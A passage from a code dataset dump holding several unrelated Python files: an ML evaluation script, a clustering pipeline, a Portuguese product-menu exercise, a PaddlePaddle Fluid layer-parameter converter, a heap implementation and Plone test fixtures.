estimator\")\nprint(nn_grid_search_cv.best_estimator_)\n\n# Testing\n\ntest_pred = nn_grid_search_cv.predict(x_test)\ntrain_pred = nn_grid_search_cv.predict(x_train)\ntest_acc = (accuracy_score(test_pred, y_test))\ntest_error = 1 - test_acc\ntrain_acc = (accuracy_score(train_pred, y_train))\ntrain_error = (1 - train_acc)\ntest_prec = precision_score(y_test, test_pred, average='weighted')\ntest_recall = recall_score(y_test, test_pred, average='weighted')\ntrain_prec = precision_score(y_train, train_pred, average='weighted')\ntrain_recall = recall_score(y_train, train_pred, average='weighted')\nprint(\"Train Accuracy:\", train_acc)\nprint(\"Train Error:\", train_error)\nprint(\"Train Recall:\", train_recall)\nprint(\"Train Precision:\", train_prec)\nprint(\"-----------------------------------------\")\nprint(\"Test Accuracy:\", test_acc)\nprint(\"Test Error:\", test_error)\nprint(\"Test Recall:\", test_recall)\nprint(\"Test Precision:\", test_prec)\nprint(\"-----------------------------------------\")\nprint(\"Testing classification report:\")\nprint(classification_report(y_test, test_pred, labels=genres_master_list))\nplot_confusion_matrix(nn_grid_search_cv, x_test, y_test, labels=genres_master_list, xticks_rotation='vertical')\nplt.show()\n","sub_path":"feed_forward_net.py","file_name":"feed_forward_net.py","file_ext":"py","file_size_in_byte":3602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"252033016","text":"from cluster import cluster_data\nfrom summarize import summarize_data\nfrom decision_tree import decision_tree_report\n\ndata_file_path = \"data/credit_card_data.csv\"\n\nif __name__ == '__main__':\n # Klasterizacija podataka\n clustered_data_file_path = cluster_data(data_file_path)\n print(\"Data clusterization completed\\n\")\n # Generalna analiza rezultata\n # za ispis paralelnih matrica proslediti vrednost True\n # (kreiranje matrica dugo traje, pa je default vrednost False)\n summarize_data(data_file_path, False)\n print(\"Data summarization completed.\\n\")\n # DecisionTreeClassification analiza podataka\n decision_tree_report(clustered_data_file_path)\n print(\"Decision tree summarization completed\\n\")\n # The end\n print(\"Data successfully clustered and analysed!\")\n","sub_path":"Projekat2/CreditCardData/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"143157462","text":"produtos={}\r\n\ndef cadastrarProduto(produtos, produto, preco):\r\n\n produtos[produto]=preco\r\n\ndef exibirProdutos(listProdutos):\r\n\n for x in listProdutos:\r\n\n print(\"produto: \",x,\" preco: \",produtos[x])\r\n\ndef removerProduto(produtos, produto):\r\n\n del produtos[produto]\r\n\n print(produtos)\r\n\ndef exibirBaratoProduto(produtos):\r\n\n valid = False\r\n\n nome=''\r\n\n for x in produtos:\r\n\n if valid == False:\r\n\n menor = produtos[x]\n\r\n nome=x\r\n\n valid = True\r\n\n if produtos[x] maior:\r\n\n maior=produtos[x]\r\n\n nome = x\r\n\n return x\r\n\ndef menu():\r\n\n cont = 's'\r\n\n while (cont == 's'):\r\n\n op = int(input(\"O que deseja?\\n1. Adicionar\\n2. Exibir produtos\\n3. Excluir\\n4. Exibir mais caro\\n5. Exibir mais barato\\n6. Sair.\\n\"))\r\n\n if (op == 1):\r\n\n produto = str(input(\"Digite nome do produto: \"))\r\n\n preco = float(input(\"Digite o preco: \"))\r\n\n cadastrarProduto(produtos,produto, preco)\n\r\n elif (op == 2):\r\n\n conti = 's'\r\n\n listProdutos=[]\n\r\n while (conti == 's'):\r\n\n prod = str(input(\"nome do produto \"))\r\n\n listProdutos.append(prod)\n\r\n conti = str(input(\"Mais? \"))\r\n\n exibirProdutos(listProdutos)\r\n\n elif (op == 3):\r\n\n prod = str(input(\"nome do produto \"))\n\r\n removerProduto(produtos, produto)\r\n\n elif (op == 4):\r\n\n print(exibirCaroProduto(produtos))\r\n\n elif (op == 5):\r\n\n print(exibirBaratoProduto(produtos))\n\r\n elif (op == 6):\r\n\n cont = \"n\"\r\n\n print(\"OBRIGADO!\")\n\r\n else:\n\r\n print(\"OPÇÃO INVÁLIDA!!\")\n\r\n\nmenu()\r\n","sub_path":"Questão-3.py","file_name":"Questão-3.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"137638331","text":"from ..operations import OpsParam, OpsRegister\nfrom ..logger import *\nfrom ..proto import *\nfrom fluid_helper import *\n\n\ndef ParserFeedDecorator(OpName):\n def warpper(Parser):\n def warpper_args(args):\n Parser(args)\n OpsRegister()[OpName].feed_node_attr(args[0])\n args[2].set_name(OpName)\n args[0].set_op(args[2]())\n return warpper_args\n return warpper\n\n# common \ndef NotNeededInInference(args):\n # args is tuple object\n node_io = args[0]\n layer = args[1]\n\n@ParserFeedDecorator(\"Input\")\ndef Parser_feed(args):\n private_data = args[4]\n input_shape = private_data['input_shape']\n alias = private_data['alias']\n OpsRegister()[\"Input\"].input_shape = input_shape\n OpsRegister()[\"Input\"].alias = alias\n\n@ParserFeedDecorator(\"Convolution\")\ndef Parser_conv2d(args):\n op = args[1]\n helper = args[3]\n private_data = args[4]\n [weights_tensor, weights_shape] = helper.param_tensor_sh(op, 'Filter')\n OpsRegister()[\"Convolution\"].weight_1 = weights_tensor\n OpsRegister()[\"Convolution\"].filter_num = weights_shape[0]\n OpsRegister()[\"Convolution\"].kernel_size = weights_shape[-2:]\n OpsRegister()[\"Convolution\"].strides = helper.attr_data(op, 'strides')\n OpsRegister()[\"Convolution\"].padding = helper.attr_data(op, 'paddings')\n OpsRegister()[\"Convolution\"].dilation_rate = helper.attr_data(op, 'dilations')\n OpsRegister()[\"Convolution\"].group = helper.attr_data(op, 'groups')\n OpsRegister()[\"Convolution\"].axis = 1\n if 'bias' in private_data.keys():\n OpsRegister()[\"Convolution\"].bias_term = True\n OpsRegister()[\"Convolution\"].weight_2 = private_data['bias']\n else:\n OpsRegister()[\"Convolution\"].bias_term = False\n\n@ParserFeedDecorator(\"ReLU\")\ndef Parser_relu(args):\n OpsRegister()[\"ReLU\"].alpha = 0.0\n\n@ParserFeedDecorator(\"Pooling\")\ndef Parser_pool2d(args):\n op = args[1]\n helper = args[3]\n OpsRegister()[\"Pooling\"].pool_size = helper.attr_data(op, 'ksize')\n OpsRegister()[\"Pooling\"].strides = helper.attr_data(op, 'strides')\n OpsRegister()[\"Pooling\"].padding = helper.attr_data(op, 'paddings')\n OpsRegister()[\"Pooling\"].global_pooling = helper.attr_data(op, 'global_pooling')\n if helper.attr_data(op, 'pooling_type') == 'max':\n OpsRegister()[\"Pooling\"].method = \"MAX\"\n elif helper.attr_data(op, 'pooling_type') in ['average', 'avg']:\n OpsRegister()[\"Pooling\"].method = \"AVG\"\n if helper.attr_data(op, 'ceil_mode') == False:\n OpsRegister()[\"Pooling\"].cmp_out_shape_floor_as_conv = True\n else:\n OpsRegister()[\"Pooling\"].cmp_out_shape_floor_as_conv = False\n\n@ParserFeedDecorator(\"Dense\")\ndef Parser_mul(args):\n op = args[1]\n helper = args[3]\n private_data = args[4]\n weights_needs_trans = True\n [weights_tensor, weights_shape] = helper.param_tensor_sh(op, 'Y', weights_needs_trans)\n OpsRegister()[\"Dense\"].weight_1 = weights_tensor\n OpsRegister()[\"Dense\"].out_dim = weights_shape[2]\n OpsRegister()[\"Dense\"].axis = helper.attr_data(op, 'x_num_col_dims')\n if 'bias' in private_data.keys():\n OpsRegister()[\"Dense\"].bias_term = True\n OpsRegister()[\"Dense\"].weight_2 = private_data['bias']\n else:\n OpsRegister()[\"Dense\"].bias_term = False\n\n@ParserFeedDecorator(\"Softmax\")\ndef Parser_softmax(args):\n private_data = args[4]\n if 'axis' in private_data.keys():\n axis = private_data['axis']\n else:\n axis = 1\n OpsRegister()[\"Softmax\"].axis = axis\n\n@ParserFeedDecorator(\"Activation\")\ndef Parser_sigmoid(args):\n OpsRegister()[\"Activation\"].type = \"Sigmoid\"\n\n@ParserFeedDecorator(\"Axpy\")\ndef Parser_axpy(args):\n pass\n\n@ParserFeedDecorator(\"BatchNorm\")\ndef Parser_batch_norm(args):\n op = args[1]\n helper = args[3]\n OpsRegister()[\"BatchNorm\"].weight_1 = helper.param_tensor(op, 'Mean')\n OpsRegister()[\"BatchNorm\"].weight_2 = helper.param_tensor(op, 'Variance')\n OpsRegister()[\"BatchNorm\"].weight_3 = helper.create_tensor([1], [1, 1, 1, 1], FLOAT)\n OpsRegister()[\"BatchNorm\"].momentum = helper.attr_data(op, 'momentum')\n OpsRegister()[\"BatchNorm\"].epsilon = helper.attr_data(op, 'epsilon')\n\n@ParserFeedDecorator(\"Scale\")\ndef Parser_scale_disc_bn(args):\n op = args[1]\n helper = args[3]\n mean = helper.np_param(op, 'Mean')\n var = helper.np_param(op, 'Variance')\n alpha = helper.np_param(op, 'Scale')\n beta = helper.np_param(op, 'Bias')\n eps = helper.attr_data(op, 'epsilon')\n var = np.sqrt(var + eps)\n np_scale = alpha / var\n np_bias = beta - (alpha * mean / var)\n np_scale_shape = map(int, [1] * (4 - len(np_scale.shape)) + list(np_scale.shape))\n np_bias_shape = map(int, [1] * (4 - len(np_bias.shape)) + list(np_bias.shape))\n np_scale_tensor = helper.create_tensor(list(np_scale.flatten()), np_scale_shape, FLOAT)\n np_bias_tensor = helper.create_tensor(list(np_bias.flatten()), np_bias_shape, FLOAT)\n OpsRegister()[\"Scale\"].bias_term = True\n OpsRegister()[\"Scale\"].weight_1 = np_scale_tensor\n OpsRegister()[\"Scale\"].weight_2 = np_bias_tensor\n OpsRegister()[\"Scale\"].axis = 1\n OpsRegister()[\"Scale\"].num_axes = 1\n\n@ParserFeedDecorator(\"Scale\")\ndef Parser_scale_of_bn(args):\n op = args[1]\n helper = args[3]\n OpsRegister()[\"Scale\"].weight_1 = helper.param_tensor(op, 'Scale')\n OpsRegister()[\"Scale\"].axis = 1\n OpsRegister()[\"Scale\"].num_axes = 1\n has_bias = helper.is_persistable_param(op, 'Bias')\n if has_bias is True:\n OpsRegister()[\"Scale\"].bias_term = True\n OpsRegister()[\"Scale\"].weight_2 = helper.param_tensor(op, 'Bias')\n else:\n OpsRegister()[\"Scale\"].bias_term = False\n\n@ParserFeedDecorator(\"Split\")\ndef Parser_split(args):\n private_data = args[4]\n split_num = private_data['split_num']\n OpsRegister()[\"Split\"].split_num = split_num\n\n@ParserFeedDecorator(\"Reshape\")\ndef Parser_reshape(args):\n op = args[1]\n helper = args[3]\n private_data = args[4]\n if 'new_shape' in private_data.keys():\n shape = private_data['new_shape']\n else:\n shape = helper.attr_data(op, 'shape')\n shape = map(int, shape + [1] * (4 - len(shape)))\n OpsRegister()[\"Reshape\"].dims = shape\n\n@ParserFeedDecorator(\"Concat\")\ndef Parser_concat(args):\n op = args[1]\n helper = args[3]\n OpsRegister()[\"Concat\"].axis = helper.attr_data(op, 'axis')\n\n@ParserFeedDecorator(\"Concat\")\ndef Parser_concat_btw_priorbox_boxcoder(args):\n op = args[1]\n helper = args[3]\n OpsRegister()[\"Concat\"].axis = 3\n\n@ParserFeedDecorator(\"Permute\")\ndef Parser_transpose(args):\n op = args[1]\n helper = args[3]\n fluid_dims = helper.attr_data(op, 'axis')\n n = 4 - len(fluid_dims)\n dims = range(0, n)\n tail_dims = [i + n for i in fluid_dims]\n dims.extend(tail_dims)\n OpsRegister()[\"Permute\"].dims = dims\n\n\n########## SSD Model ##########\n\n@ParserFeedDecorator(\"PriorBox\")\ndef Parser_prior_box(args):\n op = args[1]\n helper = args[3]\n OpsRegister()[\"PriorBox\"].min_size = helper.attr_data(op, 'min_sizes')\n OpsRegister()[\"PriorBox\"].max_size = helper.attr_data(op, 'max_sizes')\n OpsRegister()[\"PriorBox\"].aspect_ratio = helper.attr_data(op, 'aspect_ratios')\n OpsRegister()[\"PriorBox\"].is_flip = helper.attr_data(op, 'flip')\n OpsRegister()[\"PriorBox\"].is_clip = helper.attr_data(op, 'clip')\n OpsRegister()[\"PriorBox\"].variance = helper.attr_data(op, 'variances')\n OpsRegister()[\"PriorBox\"].img_h = 0\n OpsRegister()[\"PriorBox\"].img_w = 0\n OpsRegister()[\"PriorBox\"].step_h = helper.attr_data(op, 'step_h')\n OpsRegister()[\"PriorBox\"].step_w = helper.attr_data(op, 'step_w')\n OpsRegister()[\"PriorBox\"].offset = helper.attr_data(op, 'offset')\n OpsRegister()[\"PriorBox\"].order = ['MIN', 'COM', 'MAX']\n\n@ParserFeedDecorator(\"box_coder\")\ndef Parser_box_coder(args):\n pass\n\n@ParserFeedDecorator(\"DetectionOutput\")\ndef Parser_multiclass_nms(args):\n op = args[1]\n helper = args[3]\n private_data = args[4]\n OpsRegister()[\"DetectionOutput\"].share_location = True\n OpsRegister()[\"DetectionOutput\"].variance_encode_in_target = False\n OpsRegister()[\"DetectionOutput\"].class_num = 0\n OpsRegister()[\"DetectionOutput\"].background_id = helper.attr_data(op, 'background_label')\n OpsRegister()[\"DetectionOutput\"].keep_top_k = helper.attr_data(op, 'keep_top_k')\n OpsRegister()[\"DetectionOutput\"].conf_thresh = helper.attr_data(op, 'score_threshold')\n OpsRegister()[\"DetectionOutput\"].nms_top_k = helper.attr_data(op, 'nms_top_k')\n OpsRegister()[\"DetectionOutput\"].nms_thresh = helper.attr_data(op, 'nms_threshold')\n OpsRegister()[\"DetectionOutput\"].nms_eta = helper.attr_data(op, 'nms_eta')\n if 'code_type' in private_data.keys():\n if private_data['code_type'] == 'decode_center_size':\n OpsRegister()[\"DetectionOutput\"].code_type = \"CENTER_SIZE\"\n else:\n OpsRegister()[\"DetectionOutput\"].code_type = \"CORNER\"\n\n\n########## VIS Model ##########\n\n@ParserFeedDecorator(\"Im2Sequence\")\ndef Parser_im2sequence(args):\n op = args[1]\n helper = args[3]\n OpsRegister()[\"Im2Sequence\"].paddings = helper.attr_data(op, 'paddings')\n OpsRegister()[\"Im2Sequence\"].strides = helper.attr_data(op, 'strides')\n OpsRegister()[\"Im2Sequence\"].window_size = helper.attr_data(op, 'kernels')\n OpsRegister()[\"Im2Sequence\"].dilations = helper.attr_data(op, 'dilations', [1, 1])\n\n@ParserFeedDecorator(\"Cast\")\ndef Parser_cast(args):\n op = args[1]\n helper = args[3]\n OpsRegister()[\"Cast\"].in_type = helper.attr_data(op, 'in_dtype')\n OpsRegister()[\"Cast\"].out_type = helper.attr_data(op, 'out_dtype')\n\n@ParserFeedDecorator(\"Argmax\") # new256\ndef Parser_top_k(args):\n op = args[1]\n helper = args[3]\n OpsRegister()[\"Argmax\"].out_max_val = True\n OpsRegister()[\"Argmax\"].top_k = helper.attr_data(op, 'k')\n OpsRegister()[\"Argmax\"].axis_term = False\n\n@ParserFeedDecorator(\"CtcAlign\")\ndef Parser_ctc_align(args):\n op = args[1]\n helper = args[3]\n OpsRegister()[\"CtcAlign\"].merge_repeated = helper.attr_data(op, 'merge_repeated')\n OpsRegister()[\"CtcAlign\"].blank = helper.attr_data(op, 'blank')\n\n@ParserFeedDecorator(\"Eltwise\")\ndef Parser_sum(args):\n OpsRegister()[\"Eltwise\"].type = \"Add\"\n OpsRegister()[\"Eltwise\"].coeff = [1.0, 1.0]\n\n@ParserFeedDecorator(\"LRN\")\ndef Parser_lrn(args):\n op = args[1]\n helper = args[3]\n OpsRegister()[\"LRN\"].local_size = helper.attr_data(op, 'n')\n OpsRegister()[\"LRN\"].alpha = helper.attr_data(op, 'alpha')\n OpsRegister()[\"LRN\"].beta = helper.attr_data(op, 'beta')\n OpsRegister()[\"LRN\"].norm_region = \"ACROSS_CHANNELS\"\n OpsRegister()[\"LRN\"].k = helper.attr_data(op, 'k')\n\n@ParserFeedDecorator(\"Gru\")\ndef Parser_gru(args):\n op = args[1]\n helper = args[3]\n private_data = args[4]\n OpsRegister()[\"Gru\"].is_reverse = helper.attr_data(op, 'is_reverse')\n OpsRegister()[\"Gru\"].gate_activation = helper.attr_data(op, 'gate_activation') + '_fluid'\n OpsRegister()[\"Gru\"].activation = helper.attr_data(op, 'activation') + '_fluid'\n OpsRegister()[\"Gru\"].gru_formula = \"gru_origin\"\n if bool(private_data) is True:\n ori_bx = private_data['np_bias_x']\n ori_bh = helper.np_param(op, 'Bias')\n ori_b = ori_bx + ori_bh\n ori_wx = private_data['np_weight_x']\n ori_wh = helper.np_param(op, 'Weight')\n new_tensors = helper.gru_tensor_convert(ori_wh, ori_wx, ori_b)\n weights = []\n for tensor in new_tensors:\n weights.append(helper.create_tensor(list(tensor.flatten()), \\\n list(np.shape(tensor)), FLOAT))\n OpsRegister()[\"Gru\"].weight_1 = weights[0]\n OpsRegister()[\"Gru\"].weight_2 = weights[1]\n else:\n OpsRegister()[\"Gru\"].weight_1 = helper.param_tensor(op, 'Weight')\n OpsRegister()[\"Gru\"].weight_2 = helper.create_tensor([0], [-1], FLOAT)\n\n@ParserFeedDecorator(\"LSTM\")\ndef Parser_lstm(args):\n op = args[1]\n helper = args[3]\n private_data = args[4]\n OpsRegister()[\"LSTM\"].candidate_activation = helper.attr_data(op, 'candidate_activation')\n OpsRegister()[\"LSTM\"].cell_activation = helper.attr_data(op, 'cell_activation')\n OpsRegister()[\"LSTM\"].gate_activation = helper.attr_data(op, 'gate_activation')\n OpsRegister()[\"LSTM\"].is_reverse = helper.attr_data(op, 'is_reverse')\n OpsRegister()[\"LSTM\"].use_peepholes = helper.attr_data(op, 'use_peepholes')\n OpsRegister()[\"LSTM\"].num_direction = 1\n OpsRegister()[\"LSTM\"].dropout_param = 1.0\n OpsRegister()[\"LSTM\"].num_layers = 1\n OpsRegister()[\"LSTM\"].input_activation = \"null\"\n if bool(private_data) is True:\n np_fc_bias = private_data['np_flat_fc_bias']\n np_fc_weight = private_data['np_flat_fc_weight']\n np_fc_outdim = private_data['np_fc_outdim']\n np_lstm_bias = helper.np_param(op, 'Bias')\n np_lstm_weight = helper.np_param(op, 'Weight')\n np_tensors = helper.lstm_fc_tensor_merge_convert(np_fc_outdim, np_lstm_weight, \\\n np_lstm_bias, np_fc_weight, np_fc_bias)\n np_weight = np_tensors[0]\n np_bias = np_tensors[1]\n np_weight_shape = map(int, [1] * (4 - len(np_weight.shape)) + list(np_weight.shape))\n np_bias_shape = map(int, [1] * (4 - len(np_bias.shape)) + list(np_bias.shape))\n np_weight_tensor = helper.create_tensor(list(np_weight.flatten()), np_weight_shape, FLOAT)\n np_bias_tensor = helper.create_tensor(list(np_bias.flatten()), np_bias_shape, FLOAT)\n OpsRegister()[\"LSTM\"].weight_1 = np_weight_tensor\n OpsRegister()[\"LSTM\"].weight_2 = np_bias_tensor\n else:\n OpsRegister()[\"LSTM\"].weight_1 = helper.param_tensor(op, 'Weight')\n OpsRegister()[\"LSTM\"].weight_2 = helper.create_tensor([0], [-1], FLOAT)\n\n\n############### RNN ###############\n\n@ParserFeedDecorator(\"Embedding\")\ndef Parser_lookup_table(args):\n op = args[1]\n helper = args[3]\n [weights_tensor, weights_shape] = helper.param_tensor_sh(op, 'W')\n OpsRegister()[\"Embedding\"].weight_1 = weights_tensor\n OpsRegister()[\"Embedding\"].padding_idx = helper.attr_data(op, 'padding_idx')\n OpsRegister()[\"Embedding\"].word_num = weights_shape[2]\n OpsRegister()[\"Embedding\"].emb_dim = weights_shape[3]\n\n@ParserFeedDecorator(\"SequencePool\")\ndef Parser_sequence_pool(args):\n op = args[1]\n helper = args[3]\n OpsRegister()[\"SequencePool\"].pooltype = helper.attr_data(op, 'pooltype')\n\n@ParserFeedDecorator(\"Activation\")\ndef Parser_tanh(args):\n OpsRegister()[\"Activation\"].type = \"TanH\"\n\n@ParserFeedDecorator(\"SequenceConv\")\ndef Parser_sequence_conv(args):\n op = args[1]\n helper = args[3]\n private_data = args[4]\n [weights_tensor, weights_shape] = helper.param_tensor_sh(op, 'Filter')\n OpsRegister()[\"SequenceConv\"].weight_1 = weights_tensor\n OpsRegister()[\"SequenceConv\"].filter_num = weights_shape[0]\n OpsRegister()[\"SequenceConv\"].kernel_size = weights_shape[-2:]\n OpsRegister()[\"SequenceConv\"].padding_trainable = helper.attr_data(op, 'paddingTrainable')\n OpsRegister()[\"SequenceConv\"].context_stride = helper.attr_data(op, 'contextStride')\n OpsRegister()[\"SequenceConv\"].context_start = helper.attr_data(op, 'contextStart')\n OpsRegister()[\"SequenceConv\"].context_length = helper.attr_data(op, 'contextLength')\n if 'bias' in private_data.keys():\n OpsRegister()[\"SequenceConv\"].bias_term = True\n OpsRegister()[\"SequenceConv\"].weight_2 = private_data['bias']\n else:\n OpsRegister()[\"SequenceConv\"].bias_term = False\n\n@ParserFeedDecorator(\"CrfDecoding\")\ndef Parser_crf_decoding(args):\n op = args[1]\n helper = args[3]\n [weights_tensor, weights_shape] = helper.param_tensor_sh(op, 'Transition')\n OpsRegister()[\"CrfDecoding\"].weight_1 = weights_tensor\n\n@ParserFeedDecorator(\"MatMul\")\ndef Parser_matmul(args):\n op = args[1]\n helper = args[3]\n private_data = args[4]\n if 'coeff' in private_data.keys():\n coeff = private_data['coeff']\n else:\n coeff = 1.0\n OpsRegister()[\"MatMul\"].transpose_x = helper.attr_data(op, 'transpose_X')\n OpsRegister()[\"MatMul\"].transpose_y = helper.attr_data(op, 'transpose_Y')\n OpsRegister()[\"MatMul\"].coeff = coeff\n\n@ParserFeedDecorator(\"Scale\")\ndef Parser_scale(args):\n op = args[1]\n helper = args[3]\n scale_val = helper.attr_data(op, 'scale')\n OpsRegister()[\"Scale\"].axis = 0\n OpsRegister()[\"Scale\"].num_axes = 0\n OpsRegister()[\"Scale\"].bias_term = False\n OpsRegister()[\"Scale\"].weight_1 = helper.create_tensor([scale_val], [1, 1, 1, 1], FLOAT)\n\n@ParserFeedDecorator(\"LayerNorm\")\ndef Parser_layer_norm(args):\n op = args[1]\n helper = args[3]\n OpsRegister()[\"LayerNorm\"].weight_1 = helper.param_tensor(op, 'Scale')\n OpsRegister()[\"LayerNorm\"].weight_2 = helper.param_tensor(op, 'Bias')\n OpsRegister()[\"LayerNorm\"].begin_norm_axis = helper.attr_data(op, 'begin_norm_axis')\n OpsRegister()[\"LayerNorm\"].eps = helper.attr_data(op, 'epsilon')\n\n@ParserFeedDecorator(\"Scale\")\ndef Parser_dropout(args):\n op = args[1]\n helper = args[3]\n scale_val = 1 - helper.attr_data(op, 'dropout_prob')\n OpsRegister()[\"Scale\"].axis = 0\n OpsRegister()[\"Scale\"].num_axes = 0\n OpsRegister()[\"Scale\"].bias_term = False\n OpsRegister()[\"Scale\"].weight_1 = helper.create_tensor([scale_val], [1, 1, 1, 1], FLOAT)\n\n@ParserFeedDecorator(\"Scale\")\ndef Parser_elementwise_mul(args):\n op = args[1]\n helper = args[3]\n private_data = args[4]\n OpsRegister()[\"Scale\"].weight_1 = helper.param_tensor(op, 'Y')\n OpsRegister()[\"Scale\"].axis = helper.attr_data(op, 'axis')\n OpsRegister()[\"Scale\"].num_axes = 1\n if 'bias' in private_data.keys():\n OpsRegister()[\"Scale\"].bias_term = True\n OpsRegister()[\"Scale\"].weight_2 = private_data['bias']\n else:\n OpsRegister()[\"Scale\"].bias_term = False\n\n@ParserFeedDecorator(\"Flatten\")\ndef Parser_flatten(args):\n pass\n\n@ParserFeedDecorator(\"assign_value\")\ndef Parser_assign_value(args):\n pass\n\n@ParserFeedDecorator(\"shape\")\ndef Parser_shape(args):\n pass\n\nFLUID_NODE_FILLER = {\n \"feed\":OpsParam().set_parser(Parser_feed),\n \"conv2d\":OpsParam().set_parser(Parser_conv2d),\n \"elementwise_add\":OpsParam().set_parser(Parser_sum),\n \"relu\":OpsParam().set_parser(Parser_relu),\n \"pool2d\":OpsParam().set_parser(Parser_pool2d),\n \"mul\":OpsParam().set_parser(Parser_mul),\n \"softmax\":OpsParam().set_parser(Parser_softmax),\n \"sigmoid\":OpsParam().set_parser(Parser_sigmoid),\n \"axpy\":OpsParam().set_parser(Parser_axpy),\n \"batch_norm\":OpsParam().set_parser(Parser_batch_norm),\n \"disc_bn\":OpsParam().set_parser(Parser_scale_disc_bn),\n \"scale_of_bn\":OpsParam().set_parser(Parser_scale_of_bn),\n \"elementwise_mul\":OpsParam().set_parser(Parser_elementwise_mul),\n \"split\":OpsParam().set_parser(Parser_split),\n \"depthwise_conv2d\":OpsParam().set_parser(Parser_conv2d),\n \"reshape\":OpsParam().set_parser(Parser_reshape),\n \"concat\":OpsParam().set_parser(Parser_concat),\n \"transpose\":OpsParam().set_parser(Parser_transpose),\n \"prior_box\":OpsParam().set_parser(Parser_prior_box),\n \"box_coder\":OpsParam().set_parser(Parser_box_coder),\n \"multiclass_nms\":OpsParam().set_parser(Parser_multiclass_nms),\n \"concat_btw_priorbox_boxcoder\":OpsParam().set_parser(Parser_concat_btw_priorbox_boxcoder),\n \"im2sequence\":OpsParam().set_parser(Parser_im2sequence),\n \"gru\":OpsParam().set_parser(Parser_gru),\n \"sum\":OpsParam().set_parser(Parser_sum),\n \"lrn\":OpsParam().set_parser(Parser_lrn),\n \"top_k\":OpsParam().set_parser(Parser_top_k),\n \"ctc_align\":OpsParam().set_parser(Parser_ctc_align),\n \"cast\":OpsParam().set_parser(Parser_cast),\n \"lookup_table\":OpsParam().set_parser(Parser_lookup_table),\n \"sequence_pool\":OpsParam().set_parser(Parser_sequence_pool),\n \"tanh\":OpsParam().set_parser(Parser_tanh),\n \"sequence_conv\":OpsParam().set_parser(Parser_sequence_conv),\n \"crf_decoding\":OpsParam().set_parser(Parser_crf_decoding),\n \"lstm\":OpsParam().set_parser(Parser_lstm),\n \"matmul\":OpsParam().set_parser(Parser_matmul),\n \"layer_norm\":OpsParam().set_parser(Parser_layer_norm),\n \"dropout\":OpsParam().set_parser(Parser_dropout),\n \"scale\":OpsParam().set_parser(Parser_scale),\n \"flatten\":OpsParam().set_parser(Parser_flatten),\n \"assign_value\":OpsParam().set_parser(Parser_assign_value),\n \"shape\":OpsParam().set_parser(Parser_shape),\n}\n","sub_path":"tools/external_converter_v2/parser/fluid/fluid_layer_param_transmit.py","file_name":"fluid_layer_param_transmit.py","file_ext":"py","file_size_in_byte":20308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"414454626","text":"class Heap:\n \"\"\"\n Структура данных Куча (Heap)\n Элементы в куче хранятся с помощью двоичного дерева, у элементов есть не более двух потомков - левый и правый\n Уровни заполняются в порядке увеличения номера уровня, а сам уровень заполняется слева направо.\n У элементов последнего уровня нет ни одного потомка, возможно, что и у некоторых элементов предпоследнего уровня\n нет потомков. Также в куче может быть один элемент, у которого только один потомок (левый).\n Индексы потомков i-го элемента - 2*i+1 и 2*i+2\n Индекс родителя элемента (i-1) // 2\n Для элементов кучи верно следующее свойство - каждый из элементов кучи меньше (или равен) всех своих потомков.\n В частности это означает, что в вершине кучи хранится наименьший элемент.\n \"\"\"\n\n def __init__(self):\n self.values = []\n self.size = 0\n\n def insert(self, x):\n self.values.append(x)\n self.size += 1\n self.sift_up(self.size - 1)\n\n def extract_min(self):\n if not self.size:\n return None\n tmp = self.values[0]\n self.values[0] = self.values[-1]\n self.values.pop()\n self.size -= 1\n self.sift_down(0)\n return tmp\n\n def sift_up(self, idx):\n while idx != 0 and self.values[idx] < self.values[(idx - 1) // 2]:\n self.values[idx], self.values[(idx - 1) // 2] = self.values[(idx - 1) // 2], self.values[idx]\n idx = (idx - 1) // 2\n\n def sift_down(self, idx):\n while 2 * idx + 1 < self.size:\n j = idx\n if self.values[2 * idx + 1] < self.values[idx]:\n j = 2 * idx + 1\n if 2 * idx + 2 < self.size and self.values[2 * idx + 2] < self.values[j]:\n j = 2 * idx + 2\n if idx == j:\n break\n self.values[idx], self.values[j] = self.values[j], self.values[idx]\n idx = j\n\n\ndef heapify(arr: list):\n \"\"\"\n Функция, создающая кучу на основе списка\n return heap: Heap\n скорость работы O(n*log(n))\n \"\"\"\n heap = Heap()\n for x in arr:\n heap.insert(x)\n return heap\n\n\ndef heapify_fast(arr: list):\n \"\"\"\n Функция, создающая кучу на основе списка\n Работает корректно только если одновременно не вытаскиваются элементы из кучи, а дан готовый список данных\n return heap: Heap\n Скорость работы O(n)\n \"\"\"\n heap = Heap()\n heap.values = arr[:]\n heap.size = len(arr)\n for i in reversed(range(heap.size // 2)):\n heap.sift_down(i)\n return heap\n\n\ndef heap_sort(arr: list):\n \"\"\"\n Функция сортировки списка с помощью кучи\n Скорость работы O(n*log(n))\n \"\"\"\n res = []\n h = heapify_fast(arr)\n while h.size:\n res.append(h.extract_min())\n return res\n\n\nnumbers = [15, 46, 2, 13, 11, 14, 15, 87, 0, 40, 19]\nprint(heap_sort(numbers))\n\n","sub_path":"data_structures/heap.py","file_name":"heap.py","file_ext":"py","file_size_in_byte":3615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"5018927","text":"# -*- coding: utf-8 -*-\nfrom plone.app.testing import applyProfile\nfrom plone.app.testing import FunctionalTesting\nfrom plone.app.testing import IntegrationTesting\nfrom plone.app.testing import PLONE_FIXTURE\nfrom plone.app.testing import PloneSandboxLayer\n\nimport collective.saconnect\n\n\nclass CollectiveSAConnectLayer(PloneSandboxLayer):\n\n defaultBases = (PLONE_FIXTURE,)\n\n def setUpZope(self, app, configurationContext):\n self.loadZCML(package=collective.saconnect)\n\n def setUpPloneSite(self, portal):\n applyProfile(portal, 'collective.saconnect:default')\n\n\nCOLLECTIVE_SACONNECT_FIXTURE = CollectiveSAConnectLayer()\n\n\nCOLLECTIVE_SACONNECT_INTEGRATION_TESTING = IntegrationTesting(\n bases=(COLLECTIVE_SACONNECT_FIXTURE,),\n name='CollectiveSAConnectLayer:IntegrationTesting'\n)\n\n\nCOLLECTIVE_SACONNECT_FUNCTIONAL_TESTING = FunctionalTesting(\n bases=(COLLECTIVE_SACONNECT_FIXTURE,),\n 